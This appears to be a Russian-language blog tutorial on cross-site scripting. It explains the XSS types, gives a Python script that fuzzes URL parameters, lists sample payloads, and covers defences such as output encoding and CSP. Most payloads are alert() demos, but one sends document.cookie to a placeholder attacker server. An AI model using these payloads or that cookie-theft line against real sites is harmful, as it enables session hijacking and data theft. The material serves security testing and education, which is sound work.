Согласно статистике, которую я видел, и моему опыту, XSS-уязвимости продолжают оставаться распространенной угрозой для веб-приложений, создавая риски кражи данных, перехвата сеансов и проблем с веб-сайтами. Я решил, что могу потратить больше времени на изучение этого типа уязвимости и поделиться с вами хотя бы этими обзорными базовыми знаниями, чтобы многие эксперты по обеспечению качества и разработки могли иметь в виду некоторые способы тестирования своих приложений на предмет этой проблемы. В этой статье рассматриваются различные типы XSS, методологии тестирования и подходы к автоматизации, а также приводятся некоторые примеры и полезные нагрузки для эффективного тестирования на проникновение.
Межсайтовый скриптинг (XSS) позволяет злоумышленникам внедрять вредоносные скрипты в веб-страницы, просматриваемые другими пользователями, используя уязвимости в выполнении кода на стороне клиента. Понимание различных типов XSS-уязвимостей и использование правильных стратегий тестирования имеют решающее значение для создания безопасных веб-приложений, защищенных от таких атак.
XSS-эксплойты возникают, когда ненадежный пользовательский ввод неадекватно очищается и выполняется в веб-приложении, что позволяет злоумышленникам внедрять и выполнять вредоносные сценарии в контексте браузеров других пользователей.
Происходит, когда предоставленные пользователем данные возвращаются в ответ без надлежащей проверки.
Пример: <script>alert('XSS_DEMO')</script>
внедренный через параметр URL.
Эти эксплойты возникают, когда веб-приложение отображает непроверенный пользовательский ввод в браузер пользователя без надлежащей очистки. В ходе этой атаки злоумышленник создает вредоносный URL-адрес, содержащий код сценария, который при нажатии жертвой выполняется в контексте уязвимой веб-страницы. Вредоносный скрипт не хранится на сервере, а отражается непосредственно из ввода пользователя. Отраженные XSS-уязвимости часто используются в фишинговых атаках или для манипулирования пользовательским опытом просмотра. Последствия могут быть серьезными: от кражи файлов cookie до перехвата сеанса.
Вредоносный скрипт постоянно хранится на сервере и выполняется при доступе к нему других пользователей.
Пример: Вредоносный скрипт, хранящийся в комментарии/публикации на форуме или на странице профиля в социальной сети.
Также известный как постоянный XSS, возникает, когда злоумышленник внедряет вредоносный код сценария в веб-приложение, которое затем сохраняется на стороне сервера. Этот внедренный сценарий позже извлекается и выполняется всякий раз, когда к уязвимой странице обращаются другие пользователи. Хранимые XSS-атаки особенно опасны, поскольку внедренный скрипт сохраняется с течением времени, потенциально затрагивая нескольких пользователей и приводя к широкому распространению атак. Злоумышленники обычно нацелены на пользовательский контент, такой как комментарии, сообщения на форумах, имена объектов, которые отображаются на веб-страницах или в полях профиля, чтобы выполнить свои вредоносные полезные нагрузки. Последствия сохраненного XSS могут включать кражу данных, захват учетных записей и порчу веб-сайта, что создает значительные риски как для пользователей, так и для пострадавшей организации.
Выполнение сценария зависит от манипуляций с DOM на стороне клиента.
Пример: код JS извлекает и выполняет данные, управляемые пользователем, из хеша URL-адреса.
Это происходит, когда веб-приложение динамически манипулирует DOM на основе ненадежного пользовательского ввода небезопасным образом. В отличие от традиционных XSS-атак, которые включают обработку на стороне сервера, XSS на основе DOM полностью проявляется на стороне клиента. Злоумышленники используют XSS на основе DOM, манипулируя клиентскими сценариями для выполнения произвольного кода в браузере жертвы. Этот тип XSS зачастую сложнее обнаружить и устранить, поскольку уязвимость находится в коде на стороне клиента и может быть не очевидна во время тестирования на стороне сервера. XSS-атаки на основе DOM могут привести к различным последствиям, включая перехват сеанса, кражу данных и несанкционированные действия от имени пользователя, что подчеркивает важность мер безопасности на стороне клиента и бдительной практики разработки веб-приложений.
Это атака социальной инженерии, при которой злоумышленник обманом заставляет пользователя выполнить вредоносный код в своем браузере. В отличие от традиционных XSS-атак, нацеленных на нескольких пользователей, Self-XSS использует доверие пользователя для выполнения кода в рамках его сеанса. Как правило, злоумышленники заманивают жертв вставить, казалось бы, невинный JS-код в консоль разработчика своего браузера или некоторые поля веб-сайта под видом безобидного действия, такого как разблокировка функции или получение вознаграждения. После выполнения внедренный код потенциально может скомпрометировать учетную запись жертвы, украсть конфиденциальную информацию или выполнить несанкционированные действия от ее имени. Несмотря на то, что Self-XSS ограничен сеансом жертвы, он остается угрозой, что подчеркивает важность обучения и осведомленности пользователей, чтобы распознавать и избегать таких обманных тактик.
Вы можете написать несколько сценариев; Я предпочитаю Python, например:
import requests def test_xss(url, parameter): payloads = [ "<script>alert('XSS')</script>", "<img src=x onerror=alert(1)>", # list of your payloads ] for payload in payloads: modified_url = f'{url}?{parameter}={payload}' response = requests.get(modified_url) if payload in response.text: print(f'Potential XSS detected here - {modified_url}') # example test_xss("https://testwebsite.com/search", "query_param_name")
Анализируйте ответы, чтобы определить, отражаются или выполняются полезные данные. Создайте PoC, поймите потенциальное влияние и расставьте приоритеты в устранении проблем.
Шаги:
Введите тег сценария, а затем код JS в поля ввода вашего приложения.
Например, базовые полезные данные XSS:
<script>alert('XSS');</script> (%0ejavascript:alert(/XSS/)) <script>alert('XSS')</script> // Display alert dialog with 'XSS' message. <img src=x onerror=alert(((123)> // Load broken image, trigger alert with '123'. // Cookie Theft Payload: <img src="http://website.com/stealcookie?cookie="+document.cookie> // Sends victim's cookies to attacker-controlled server. // DOM-based XSS Payload: #"><img src=x onerror=alert(123)> // Exploits DOM manipulation, triggers alert on vulnerable pages.
Отправьте ввод и посмотрите, выполнится ли скрипт.
Если это так, то приложение уязвимо для XSS-атак.
Если скрипт не выполняется, попробуйте изменить ввод, добавив другие теги HTML, такие как <img>
или <iframe>
, и посмотрите, отражаются ли они, например , на странице (этот вариант у меня почти всегда работает):
<b>t</b>#`"/*—est
Вы можете добавить скрипт для запроса параметров URL-адреса вашего веб-приложения или имени пользователя, имен загруженных файлов или любого текста, который будет отображаться на странице приложения, который вы можете изменить.
Помните о предварительной проверке входных данных. Всегда старайтесь отправлять значение с помощью прямого запроса (с помощью Postman, Burp или любых подобных инструментов).
Проверьте консоль браузера в инструментах разработки, потому что иногда вы можете не увидеть каких-либо видимых изменений на странице, но некоторые символы, например `"/*—
могут нарушить JS/HTML страницы, и вы увидите предупреждение в консоли, которое может быть для вас подсказкой о том, как изменить полезную нагрузку, чтобы получить XSS PoC
Используйте фаззинг и список полезной нагрузки — по возможности автоматизируйте этот подход или используйте для этого специальные инструменты.
Лично мне нравится использовать полезные нагрузки и информацию отсюда , на мой взгляд, это очень полезный ресурс.
XSS PoC
print()
для браузеров Chrome после версии 92.Расширенное использование XSS
Обход XSS-фильтров
Кодируйте данные на основе контекста, в котором отображаются выходные данные. Применяйте различные методы кодирования для HTML, JS, CSS и других контекстов, чтобы обеспечить комплексную защиту от XSS.
Например , используйте кодировку сущностей HTML для содержимого HTML, экранирование JavaScript для встроенных контекстов скриптов и экранирование CSS для атрибутов стиля, чтобы предотвратить внедрение скриптов и обеспечить целостность данных в различных контекстах вывода.
Внедрите белые и черные списки входных данных для фильтрации и проверки вводимых пользователем данных на основе предварительно заданных списков разрешенных и запрещенных символов, шаблонов или типов контента.
XSS представляет постоянную угрозу для веб-приложений, рискуя утечкой данных и доверием пользователей. Понимание типов XSS и методов тестирования имеет решающее значение для эффективного устранения последствий. Методы предотвращения, такие как проверка входных данных, кодирование выходных данных и реализация CSP, повышают безопасность приложений. Отдавая приоритет методам безопасности и сотрудничеству, команды могут защитить свои приложения от XSS и обеспечить адекватную безопасность веб-приложений.
Если вы новичок и интересуетесь кибербезопасностью и тестированием на проникновение или просто хотите улучшить свое приложение, чтобы сделать его более безопасным, вы можете прочитать мои статьи на эти темы:
Более подробную информацию о XSS и полезных нагрузках можно найти на следующих ресурсах:
Всегда проводите тестирование на проникновение с явного разрешения и в контролируемой среде. Этот этический подход гарантирует, что оценки безопасности соответствуют протоколам ответственного тестирования, предотвращая непреднамеренный взлом систем и поддерживая целостность как процесса тестирования, так и всеобъемлющей стратегии кибербезопасности.